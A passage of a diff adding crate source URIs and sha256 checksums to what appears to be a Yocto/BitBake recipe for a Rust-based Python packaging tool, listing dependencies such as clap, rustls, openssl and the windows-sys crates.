+ crate://crates.io/trycmd/0.14.19 \
+ crate://crates.io/twox-hash/1.6.3 \
+ crate://crates.io/typenum/1.17.0 \
+ crate://crates.io/unicase/2.7.0 \
+ crate://crates.io/unicode-bidi/0.3.13 \
+ crate://crates.io/unicode-ident/1.0.12 \
+ crate://crates.io/unicode-linebreak/0.1.5 \
+ crate://crates.io/unicode-normalization/0.1.22 \
+ crate://crates.io/unicode-width/0.1.11 \
+ crate://crates.io/untrusted/0.9.0 \
+ crate://crates.io/ureq/2.9.1 \
+ crate://crates.io/url/2.5.0 \
+ crate://crates.io/utf8parse/0.2.1 \
+ crate://crates.io/uuid/1.6.1 \
+ crate://crates.io/valuable/0.1.0 \
+ crate://crates.io/vcpkg/0.2.15 \
+ crate://crates.io/version_check/0.9.4 \
+ crate://crates.io/versions/5.0.1 \
+ crate://crates.io/wait-timeout/0.2.0 \
+ crate://crates.io/walkdir/2.4.0 \
+ crate://crates.io/wasi/0.11.0+wasi-snapshot-preview1 \
+ crate://crates.io/webpki-roots/0.25.3 \
+ crate://crates.io/which/5.0.0 \
+ crate://crates.io/wild/2.2.0 \
+ crate://crates.io/winapi/0.3.9 \
+ crate://crates.io/winapi-i686-pc-windows-gnu/0.4.0 \
+ crate://crates.io/winapi-util/0.1.6 \
+ crate://crates.io/winapi-x86_64-pc-windows-gnu/0.4.0 \
+ crate://crates.io/windows-sys/0.45.0 \
+ crate://crates.io/windows-sys/0.48.0 \
+ crate://crates.io/windows-sys/0.52.0 \
+ crate://crates.io/windows-targets/0.42.2 \
+ crate://crates.io/windows-targets/0.48.5 \
+ crate://crates.io/windows-targets/0.52.0 \
+ crate://crates.io/windows_aarch64_gnullvm/0.42.2 \
+ crate://crates.io/windows_aarch64_gnullvm/0.48.5 \
+ crate://crates.io/windows_aarch64_gnullvm/0.52.0 \
+ crate://crates.io/windows_aarch64_msvc/0.42.2 \
+ crate://crates.io/windows_aarch64_msvc/0.48.5 \
+ crate://crates.io/windows_aarch64_msvc/0.52.0 \
+ crate://crates.io/windows_i686_gnu/0.42.2 \
+ crate://crates.io/windows_i686_gnu/0.48.5 \
+ crate://crates.io/windows_i686_gnu/0.52.0 \
+ crate://crates.io/windows_i686_msvc/0.42.2 \
+ crate://crates.io/windows_i686_msvc/0.48.5 \
+ crate://crates.io/windows_i686_msvc/0.52.0 \
+ crate://crates.io/windows_x86_64_gnu/0.42.2 \
+ crate://crates.io/windows_x86_64_gnu/0.48.5 \
+ crate://crates.io/windows_x86_64_gnu/0.52.0 \
+ crate://crates.io/windows_x86_64_gnullvm/0.42.2 \
+ crate://crates.io/windows_x86_64_gnullvm/0.48.5 \
+ crate://crates.io/windows_x86_64_gnullvm/0.52.0 \
+ crate://crates.io/windows_x86_64_msvc/0.42.2 \
+ crate://crates.io/windows_x86_64_msvc/0.48.5 \
+ crate://crates.io/windows_x86_64_msvc/0.52.0 \
+ crate://crates.io/winnow/0.5.19 \
+ crate://crates.io/xattr/1.0.1 \
+ crate://crates.io/xwin/0.5.0 \
+ crate://crates.io/yansi/0.5.1 \
+ crate://crates.io/zerocopy/0.7.28 \
+ crate://crates.io/zerocopy-derive/0.7.28 \
+ crate://crates.io/zeroize/1.7.0 \
+ crate://crates.io/zip/0.6.6 \
+"
+
+SRC_URI[adler-1.0.2.sha256sum] = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
+SRC_URI[ahash-0.8.6.sha256sum] = "91429305e9f0a25f6205c5b8e0d2db09e0708a7a6df0f42212bb56c32c8ac97a"
+SRC_URI[aho-corasick-1.1.2.sha256sum] = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0"
+SRC_URI[allocator-api2-0.2.16.sha256sum] = "0942ffc6dcaadf03badf6e6a2d0228460359d5e34b57ccdc720b7382dfbd5ec5"
+SRC_URI[anstream-0.3.2.sha256sum] = "0ca84f3628370c59db74ee214b3263d58f9aadd9b4fe7e711fd87dc452b7f163"
+SRC_URI[anstream-0.6.4.sha256sum] = "2ab91ebe16eb252986481c5b62f6098f3b698a45e34b5b98200cf20dd2484a44"
+SRC_URI[anstyle-1.0.2.sha256sum] = "15c4c2c83f81532e5845a733998b6971faca23490340a418e9b72a3ec9de12ea"
+SRC_URI[anstyle-parse-0.2.1.sha256sum] = "938874ff5980b03a87c5524b3ae5b59cf99b1d6bc836848df7bc5ada9643c333"
+SRC_URI[anstyle-query-1.0.0.sha256sum] = "5ca11d4be1bab0c8bc8734a9aa7bf4ee8316d462a08c6ac5052f888fef5b494b"
+SRC_URI[anstyle-wincon-1.0.2.sha256sum] = "c677ab05e09154296dd37acecd46420c17b9713e8366facafa8fc0885167cf4c"
+SRC_URI[anstyle-wincon-3.0.1.sha256sum] = "f0699d10d2f4d628a98ee7b57b289abbc98ff3bad977cb3152709d4bf2330628"
+SRC_URI[anyhow-1.0.75.sha256sum] = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6"
+SRC_URI[autocfg-1.1.0.sha256sum] = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
+SRC_URI[base64-0.13.1.sha256sum] = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8"
+SRC_URI[base64-0.21.5.sha256sum] = "35636a1494ede3b646cc98f74f8e62c773a38a659ebc777a2cf26b9b74171df9"
+SRC_URI[bitflags-1.3.2.sha256sum] = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
+SRC_URI[bitflags-2.4.1.sha256sum] = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07"
+SRC_URI[block-buffer-0.10.4.sha256sum] = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
+SRC_URI[bstr-1.8.0.sha256sum] = "542f33a8835a0884b006a0c3df3dadd99c0c3f296ed26c2fdc8028e01ad6230c"
+SRC_URI[byteorder-1.5.0.sha256sum] = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
+SRC_URI[bytes-1.5.0.sha256sum] = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223"
+SRC_URI[bytesize-1.3.0.sha256sum] = "a3e368af43e418a04d52505cf3dbc23dda4e3407ae2fa99fd0e4f308ce546acc"
+SRC_URI[bzip2-0.4.4.sha256sum] = "bdb116a6ef3f6c3698828873ad02c3014b3c85cadb88496095628e3ef1e347f8"
+SRC_URI[bzip2-sys-0.1.11+1.0.8.sha256sum] = "736a955f3fa7875102d57c82b8cac37ec45224a07fd32d58f9f7a186b6cd4cdc"
+SRC_URI[cab-0.4.1.sha256sum] = "ae6b4de23c7d39c0631fd3cc952d87951c86c75a13812d7247cb7a896e7b3551"
+SRC_URI[camino-1.1.6.sha256sum] = "c59e92b5a388f549b863a7bea62612c09f24c8393560709a54558a9abdfb3b9c"
+SRC_URI[cargo-config2-0.1.16.sha256sum] = "7f387366785e82c7ec7ef5b845a7f61324fbf5d467d6a878469eac30c1c44b1b"
+SRC_URI[cargo-options-0.7.2.sha256sum] = "cad71bf996c8e5b9d28ef3472d7ee41f277edf4e38cd597f51ad0438d05d76ea"
+SRC_URI[cargo-platform-0.1.5.sha256sum] = "e34637b3140142bdf929fb439e8aa4ebad7651ebf7b1080b3930aa16ac1459ff"
+SRC_URI[cargo-xwin-0.16.2.sha256sum] = "02bb6bf59526935e47445f959a19c2168f151284dbf7e57f5577934334e9a61d"
+SRC_URI[cargo-zigbuild-0.18.0.sha256sum] = "edc9c2fe646a29983b5f7263bd789175f2aaad7ea42525affa40e2172be93286"
+SRC_URI[cargo_metadata-0.18.1.sha256sum] = "2d886547e41f740c616ae73108f6eb70afe6d940c7bc697cb30f13daec073037"
+SRC_URI[cbindgen-0.26.0.sha256sum] = "da6bc11b07529f16944307272d5bd9b22530bc7d05751717c9d416586cedab49"
+SRC_URI[cc-1.0.83.sha256sum] = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0"
+SRC_URI[cfb-0.9.0.sha256sum] = "b390793e912300f1aa713429f7fd0c391024e6c18b988962558bc4f96a349b1f"
+SRC_URI[cfg-if-1.0.0.sha256sum] = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+SRC_URI[charset-0.1.3.sha256sum] = "18e9079d1a12a2cc2bffb5db039c43661836ead4082120d5844f02555aca2d46"
+SRC_URI[chumsky-0.9.3.sha256sum] = "8eebd66744a15ded14960ab4ccdbfb51ad3b81f51f3f04a80adac98c985396c9"
+SRC_URI[clap-4.3.24.sha256sum] = "fb690e81c7840c0d7aade59f242ea3b41b9bc27bcd5997890e7702ae4b32e487"
+SRC_URI[clap_builder-4.3.24.sha256sum] = "5ed2e96bc16d8d740f6f48d663eddf4b8a0983e79210fd55479b7bcd0a69860e"
+SRC_URI[clap_complete-4.3.2.sha256sum] = "5fc443334c81a804575546c5a8a79b4913b50e28d69232903604cada1de817ce"
+SRC_URI[clap_complete_command-0.5.1.sha256sum] = "183495371ea78d4c9ff638bfc6497d46fed2396e4f9c50aebc1278a4a9919a3d"
+SRC_URI[clap_complete_fig-4.3.1.sha256sum] = "99fee1d30a51305a6c2ed3fc5709be3c8af626c9c958e04dd9ae94e27bcbce9f"
+SRC_URI[clap_complete_nushell-0.1.11.sha256sum] = "5d02bc8b1a18ee47c4d2eec3fb5ac034dc68ebea6125b1509e9ccdffcddce66e"
+SRC_URI[clap_derive-4.3.12.sha256sum] = "54a9bb5758fc5dfe728d1019941681eccaf0cf8a4189b692a0ee2f2ecf90a050"
+SRC_URI[clap_lex-0.5.0.sha256sum] = "2da6da31387c7e4ef160ffab6d5e7f00c42626fe39aea70a7b0f1773f7dd6c1b"
+SRC_URI[cli-table-0.4.7.sha256sum] = "adfbb116d9e2c4be7011360d0c0bee565712c11e969c9609b25b619366dc379d"
+SRC_URI[colorchoice-1.0.0.sha256sum] = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
+SRC_URI[configparser-3.0.3.sha256sum] = "e0e56e414a2a52ab2a104f85cd40933c2fbc278b83637facf646ecf451b49237"
+SRC_URI[console-0.15.7.sha256sum] = "c926e00cc70edefdc64d3a5ff31cc65bb97a3460097762bd23afb4d8145fccf8"
+SRC_URI[content_inspector-0.2.4.sha256sum] = "b7bda66e858c683005a53a9a60c69a4aca7eeaa45d124526e389f7aec8e62f38"
+SRC_URI[core-foundation-0.9.3.sha256sum] = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146"
+SRC_URI[core-foundation-sys-0.8.4.sha256sum] = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa"
+SRC_URI[cpufeatures-0.2.11.sha256sum] = "ce420fe07aecd3e67c5f910618fe65e94158f6dcc0adf44e00d69ce2bdfe0fd0"
+SRC_URI[crc32fast-1.3.2.sha256sum] = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d"
+SRC_URI[crossbeam-channel-0.5.8.sha256sum] = "a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200"
+SRC_URI[crossbeam-deque-0.8.3.sha256sum] = "ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef"
+SRC_URI[crossbeam-epoch-0.9.15.sha256sum] = "ae211234986c545741a7dc064309f67ee1e5ad243d0e48335adc0484d960bcc7"
+SRC_URI[crossbeam-utils-0.8.16.sha256sum] = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294"
+SRC_URI[crypto-common-0.1.6.sha256sum] = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
+SRC_URI[data-encoding-2.5.0.sha256sum] = "7e962a19be5cfc3f3bf6dd8f61eb50107f356ad6270fbb3ed41476571db78be5"
+SRC_URI[deranged-0.3.9.sha256sum] = "0f32d04922c60427da6f9fef14d042d9edddef64cb9d4ce0d64d0685fbeb1fd3"
+SRC_URI[dialoguer-0.11.0.sha256sum] = "658bce805d770f407bc62102fca7c2c64ceef2fbcb2b8bd19d2765ce093980de"
+SRC_URI[diff-0.1.13.sha256sum] = "56254986775e3233ffa9c4d7d3faaf6d36a2c09d30b20687e9f88bc8bafc16c8"
+SRC_URI[digest-0.10.7.sha256sum] = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
+SRC_URI[dirs-5.0.1.sha256sum] = "44c45a9d03d6676652bcb5e724c7e988de1acad23a711b5217ab9cbecbec2225"
+SRC_URI[dirs-sys-0.4.1.sha256sum] = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c"
+SRC_URI[dissimilar-1.0.7.sha256sum] = "86e3bdc80eee6e16b2b6b0f87fbc98c04bee3455e35174c0de1a125d0688c632"
+SRC_URI[dunce-1.0.4.sha256sum] = "56ce8c6da7551ec6c462cbaf3bfbc75131ebbfa1c944aeaa9dab51ca1c5f0c3b"
+SRC_URI[either-1.9.0.sha256sum] = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07"
+SRC_URI[encode_unicode-0.3.6.sha256sum] = "a357d28ed41a50f9c765dbfe56cbc04a64e53e5fc58ba79fbc34c10ef3df831f"
+SRC_URI[encoding_rs-0.8.33.sha256sum] = "7268b386296a025e474d5140678f75d6de9493ae55a5d709eeb9dd08149945e1"
+SRC_URI[equivalent-1.0.1.sha256sum] = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5"
+SRC_URI[errno-0.3.8.sha256sum] = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245"
+SRC_URI[expect-test-1.4.1.sha256sum] = "30d9eafeadd538e68fb28016364c9732d78e420b9ff8853fa5e4058861e9f8d3"
+SRC_URI[fastrand-2.0.1.sha256sum] = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5"
+SRC_URI[fat-macho-0.4.7.sha256sum] = "63fa117c7dcabeb8c83d5c229764cfa46518545d2dba5a9a08912014711f997b"
+SRC_URI[filetime-0.2.22.sha256sum] = "d4029edd3e734da6fe05b6cd7bd2960760a616bd2ddd0d59a0124746d6272af0"
+SRC_URI[flate2-1.0.28.sha256sum] = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e"
+SRC_URI[fnv-1.0.7.sha256sum] = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
+SRC_URI[foreign-types-0.3.2.sha256sum] = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1"
+SRC_URI[foreign-types-shared-0.1.1.sha256sum] = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
+SRC_URI[form_urlencoded-1.2.1.sha256sum] = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456"
+SRC_URI[fs-err-2.11.0.sha256sum] = "88a41f105fe1d5b6b34b2055e3dc59bb79b46b48b2040b9e6c7b4b5de097aa41"
+SRC_URI[generic-array-0.14.7.sha256sum] = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
+SRC_URI[getrandom-0.2.11.sha256sum] = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f"
+SRC_URI[glob-0.3.1.sha256sum] = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b"
+SRC_URI[globset-0.4.14.sha256sum] = "57da3b9b5b85bd66f31093f8c408b90a74431672542466497dcbdfdc02034be1"
+SRC_URI[goblin-0.7.1.sha256sum] = "f27c1b4369c2cd341b5de549380158b105a04c331be5db9110eef7b6d2742134"
+SRC_URI[hashbrown-0.12.3.sha256sum] = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888"
+SRC_URI[hashbrown-0.14.3.sha256sum] = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604"
+SRC_URI[heck-0.4.1.sha256sum] = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
+SRC_URI[hermit-abi-0.3.3.sha256sum] = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7"
+SRC_URI[home-0.5.5.sha256sum] = "5444c27eef6923071f7ebcc33e3444508466a76f7a2b93da00ed6e19f30c1ddb"
+SRC_URI[humantime-2.1.0.sha256sum] = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4"
+SRC_URI[humantime-serde-1.1.1.sha256sum] = "57a3db5ea5923d99402c94e9feb261dc5ee9b4efa158b0315f788cf549cc200c"
+SRC_URI[idna-0.5.0.sha256sum] = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6"
+SRC_URI[ignore-0.4.20.sha256sum] = "dbe7873dab538a9a44ad79ede1faf5f30d49f9a5c883ddbab48bce81b64b7492"
+SRC_URI[indexmap-1.9.3.sha256sum] = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99"
+SRC_URI[indexmap-2.1.0.sha256sum] = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f"
+SRC_URI[indicatif-0.17.7.sha256sum] = "fb28741c9db9a713d93deb3bb9515c20788cef5815265bee4980e87bde7e0f25"
+SRC_URI[indoc-2.0.4.sha256sum] = "1e186cfbae8084e513daff4240b4797e342f988cecda4fb6c939150f96315fd8"
+SRC_URI[instant-0.1.12.sha256sum] = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c"
+SRC_URI[io-lifetimes-1.0.11.sha256sum] = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2"
+SRC_URI[is-terminal-0.4.9.sha256sum] = "cb0889898416213fab133e1d33a0e5858a48177452750691bde3666d0fdbaf8b"
+SRC_URI[itertools-0.11.0.sha256sum] = "b1c173a5686ce8bfa551b3563d0c2170bf24ca44da99c7ca4bfdab5418c3fe57"
+SRC_URI[itertools-0.12.0.sha256sum] = "25db6b064527c5d482d0423354fcd07a89a2dfe07b67892e62411946db7f07b0"
+SRC_URI[itoa-1.0.9.sha256sum] = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38"
+SRC_URI[keyring-2.0.5.sha256sum] = "9549a129bd08149e0a71b2d1ce2729780d47127991bfd0a78cc1df697ec72492"
+SRC_URI[lazy_static-1.4.0.sha256sum] = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
+SRC_URI[lddtree-0.3.3.sha256sum] = "2f5bfec46830ad3a95199ae6804dfe9f51fdad43d7a95fbb6c185efa9824c295"
+SRC_URI[libc-0.2.150.sha256sum] = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c"
+SRC_URI[libredox-0.0.1.sha256sum] = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8"
+SRC_URI[linux-keyutils-0.2.3.sha256sum] = "3f27bb67f6dd1d0bb5ab582868e4f65052e58da6401188a08f0da09cf512b84b"
+SRC_URI[linux-raw-sys-0.3.8.sha256sum] = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519"
+SRC_URI[linux-raw-sys-0.4.11.sha256sum] = "969488b55f8ac402214f3f5fd243ebb7206cf82de60d3172994707a4bcc2b829"
+SRC_URI[lock_api-0.4.11.sha256sum] = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45"
+SRC_URI[log-0.4.20.sha256sum] = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f"
+SRC_URI[lzxd-0.1.4.sha256sum] = "784462f20dddd9dfdb45de963fa4ad4a288cb10a7889ac5d2c34fb6481c6b213"
+SRC_URI[mailparse-0.14.0.sha256sum] = "6b56570f5f8c0047260d1c8b5b331f62eb9c660b9dd4071a8c46f8c7d3f280aa"
+SRC_URI[matchers-0.1.0.sha256sum] = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558"
+SRC_URI[memchr-2.6.4.sha256sum] = "f665ee40bc4a3c5590afb1e9677db74a508659dfd71e126420da8274909a0167"
+SRC_URI[memoffset-0.9.0.sha256sum] = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c"
+SRC_URI[mime-0.3.17.sha256sum] = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
+SRC_URI[mime_guess-2.0.4.sha256sum] = "4192263c238a5f0d0c6bfd21f336a313a4ce1c450542449ca191bb657b4642ef"
+SRC_URI[minijinja-1.0.10.sha256sum] = "208758577ef2c86cf5dd3e85730d161413ec3284e2d73b2ef65d9a24d9971bcb"
+SRC_URI[minimal-lexical-0.2.1.sha256sum] = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
+SRC_URI[miniz_oxide-0.7.1.sha256sum] = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7"
+SRC_URI[msi-0.7.0.sha256sum] = "226b2404f03d2cf47375b9715c8adfae4e388bb2377cff908e8a40f31e421514"
+SRC_URI[multipart-0.18.0.sha256sum] = "00dec633863867f29cb39df64a397cdf4a6354708ddd7759f70c7fb51c5f9182"
+SRC_URI[native-tls-0.2.11.sha256sum] = "07226173c32f2926027b63cce4bcd8076c3552846cbe7925f3aaffeac0a3b92e"
+SRC_URI[nom-7.1.3.sha256sum] = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a"
+SRC_URI[normalize-line-endings-0.3.0.sha256sum] = "61807f77802ff30975e01f4f071c8ba10c022052f98b3294119f3e615d13e5be"
+SRC_URI[normpath-1.1.1.sha256sum] = "ec60c60a693226186f5d6edf073232bfb6464ed97eb22cf3b01c1e8198fd97f5"
+SRC_URI[nu-ansi-term-0.46.0.sha256sum] = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84"
+SRC_URI[number_prefix-0.4.0.sha256sum] = "830b246a0e5f20af87141b25c173cd1b609bd7779a4617d6ec582abaf90870f3"
+SRC_URI[once_cell-1.18.0.sha256sum] = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d"
+SRC_URI[openssl-0.10.60.sha256sum] = "79a4c6c3a2b158f7f8f2a2fc5a969fa3a068df6fc9dbb4a43845436e3af7c800"
+SRC_URI[openssl-macros-0.1.1.sha256sum] = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c"
+SRC_URI[openssl-probe-0.1.5.sha256sum] = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf"
+SRC_URI[openssl-sys-0.9.96.sha256sum] = "3812c071ba60da8b5677cc12bcb1d42989a65553772897a7e0355545a819838f"
+SRC_URI[option-ext-0.2.0.sha256sum] = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d"
+SRC_URI[os_pipe-1.1.4.sha256sum] = "0ae859aa07428ca9a929b936690f8b12dc5f11dd8c6992a18ca93919f28bc177"
+SRC_URI[overload-0.1.1.sha256sum] = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39"
+SRC_URI[parking_lot-0.12.1.sha256sum] = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
+SRC_URI[parking_lot_core-0.9.9.sha256sum] = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e"
+SRC_URI[paste-1.0.14.sha256sum] = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c"
+SRC_URI[path-slash-0.2.1.sha256sum] = "1e91099d4268b0e11973f036e885d652fb0b21fedcf69738c627f94db6a44f42"
+SRC_URI[pep440_rs-0.3.12.sha256sum] = "887f66cc62717ea72caac4f1eb4e6f392224da3ffff3f40ec13ab427802746d6"
+SRC_URI[pep508_rs-0.2.3.sha256sum] = "e4516b53d9ea6112ebb38b4af08d5707d30b994fb7f98ff133c5dcf7ed8fa854"
+SRC_URI[percent-encoding-2.3.1.sha256sum] = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e"
+SRC_URI[pin-project-lite-0.2.13.sha256sum] = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58"
+SRC_URI[pkg-config-0.3.27.sha256sum] = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964"
+SRC_URI[plain-0.2.3.sha256sum] = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6"
+SRC_URI[platform-info-2.0.2.sha256sum] = "d6259c4860e53bf665016f1b2f46a8859cadfa717581dc9d597ae4069de6300f"
+SRC_URI[portable-atomic-1.5.1.sha256sum] = "3bccab0e7fd7cc19f820a1c8c91720af652d0c88dc9664dd72aef2614f04af3b"
+SRC_URI[powerfmt-0.2.0.sha256sum] = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391"
+SRC_URI[ppv-lite86-0.2.17.sha256sum] = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de"
+SRC_URI[pretty_assertions-1.4.0.sha256sum] = "af7cee1a6c8a5b9208b3cb1061f10c0cb689087b3d8ce85fb9d2dd7a29b6ba66"
+SRC_URI[proc-macro2-1.0.70.sha256sum] = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b"
+SRC_URI[psm-0.1.21.sha256sum] = "5787f7cda34e3033a72192c018bc5883100330f362ef279a8cbccfce8bb4e874"
+SRC_URI[pyproject-toml-0.8.1.sha256sum] = "46d4a5e69187f23a29f8aa0ea57491d104ba541bc55f76552c2a74962aa20e04"
+SRC_URI[python-pkginfo-0.6.0.sha256sum] = "037469c164f08c891bf6d69ca02f1d56210011451e229618669777df82124cfa"
+SRC_URI[quote-1.0.33.sha256sum] = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae"
+SRC_URI[quoted_printable-0.4.8.sha256sum] = "5a3866219251662ec3b26fc217e3e05bf9c4f84325234dfb96bf0bf840889e49"
+SRC_URI[rand-0.8.5.sha256sum] = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
+SRC_URI[rand_chacha-0.3.1.sha256sum] = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
+SRC_URI[rand_core-0.6.4.sha256sum] = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
+SRC_URI[rayon-1.8.0.sha256sum] = "9c27db03db7734835b3f53954b534c91069375ce6ccaa2e065441e07d9b6cdb1"
+SRC_URI[rayon-core-1.12.0.sha256sum] = "5ce3fb6ad83f861aac485e76e1985cd109d9a3713802152be56c3b1f0e0658ed"
+SRC_URI[redox_syscall-0.3.5.sha256sum] = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29"
+SRC_URI[redox_syscall-0.4.1.sha256sum] = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa"
+SRC_URI[redox_users-0.4.4.sha256sum] = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4"
+SRC_URI[regex-1.10.2.sha256sum] = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343"
+SRC_URI[regex-automata-0.1.10.sha256sum] = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132"
+SRC_URI[regex-automata-0.4.3.sha256sum] = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f"
+SRC_URI[regex-syntax-0.6.29.sha256sum] = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1"
+SRC_URI[regex-syntax-0.8.2.sha256sum] = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f"
+SRC_URI[rfc2047-decoder-0.2.2.sha256sum] = "61fc4b4e52897c3e30b12b7e9b04461215b647fbe66f6def60dd8edbce14ec2e"
+SRC_URI[ring-0.17.6.sha256sum] = "684d5e6e18f669ccebf64a92236bb7db9a34f07be010e3627368182027180866"
+SRC_URI[rustc_version-0.4.0.sha256sum] = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366"
+SRC_URI[rustix-0.37.27.sha256sum] = "fea8ca367a3a01fe35e6943c400addf443c0f57670e6ec51196f71a4b8762dd2"
+SRC_URI[rustix-0.38.21.sha256sum] = "2b426b0506e5d50a7d8dafcf2e81471400deb602392c7dd110815afb4eaf02a3"
+SRC_URI[rustls-0.21.9.sha256sum] = "629648aced5775d558af50b2b4c7b02983a04b312126d45eeead26e7caa498b9"
+SRC_URI[rustls-pemfile-2.0.0.sha256sum] = "35e4980fa29e4c4b212ffb3db068a564cbf560e51d3944b7c88bd8bf5bec64f4"
+SRC_URI[rustls-pki-types-1.0.0.sha256sum] = "eb0a1f9b9efec70d32e6d6aa3e58ebd88c3754ec98dfe9145c63cf54cc829b83"
